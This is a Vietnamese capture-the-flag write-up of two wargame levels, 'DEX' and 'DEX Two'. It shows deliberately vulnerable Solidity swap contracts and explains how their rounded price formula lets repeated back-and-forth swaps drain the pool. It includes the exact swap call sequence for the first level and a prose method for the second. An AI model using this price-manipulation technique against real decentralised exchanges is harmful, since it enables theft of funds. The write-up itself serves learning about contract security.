22. DEX
Nhiệm vụ: Ta được cho ban đầu 10 token1 và 10 token2. Trong contract có 100 token1 và 100 token2. Nhiệm vụ của ta là rút hết 1 trong 2 token trong dex.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Dex {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_price(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}
function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function get_swap_price(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(spender, amount);
SwappableToken(token2).approve(spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}
Phân tích
Ta nhận thấy có một sự phi lý trong logic swap của DEX này tại đây:
function get_swap_price(address from, address to, uint amount) public view returns(uint) {
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
Thật vậy:
- lần đâu ta swap 10 token1 được 10 token2, ta có 0 token1 và 20 token2.
- tiếp tục swap 20 token2 được 24 token1, ta có 24 token 1 và 0 token2.
- tiếp tục swap 24 token1 được 30 token2, ta có 0 token 1 và 30 token2.
- …
cứ tiếp tục lần sau ta lại được nhiều hơn lần trước, rồi cuối cùng là rút hết tiền của một bên token là xong.
Solution
Thực hiện swap qua lại là xong:
await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);
await contract.swap(token2, token1, 45);
Kiểm tra lại balance của contract:
(await contract.balanceOf(token2, instance)).toString();
> '0'
- Submit & all done!
23. DEX Two
Nhiệm vụ: Ta được cho ban đầu 10 token1 và 10 token2. Trong contract có 100 token1 và 100 token2. Nhiệm vụ của ta là rút hết toàn bộ token1 và token2 trong dex.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
contract DexTwo {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_amount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}
function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function get_swap_amount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(spender, amount);
SwappableTokenTwo(token2).approve(spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}
Phân tích
- DEX Two hoàn toàn giống DEX ở phần trước về mặt logic, ngoài ra còn xóa bỏ giới hạn 2 token swap lẫn nhau không cần phải là cặp token1/token2 nữa mà có thể là cặp bất kì.
- Vì thế ta có thể áp dụng cách tương tự bài DEX để rút hết 1 token khỏi contract trước. Sau đó tự tạo một token, chuyển 100 cho DEX Two để tạo thanh khoản và tiến hành swap tương tự để rút nốt số token còn lại của DEX Two ra là thành công.
Solution
Bạn đọc tự làm, hoàn toàn giống với DEX.
- Submit & all done!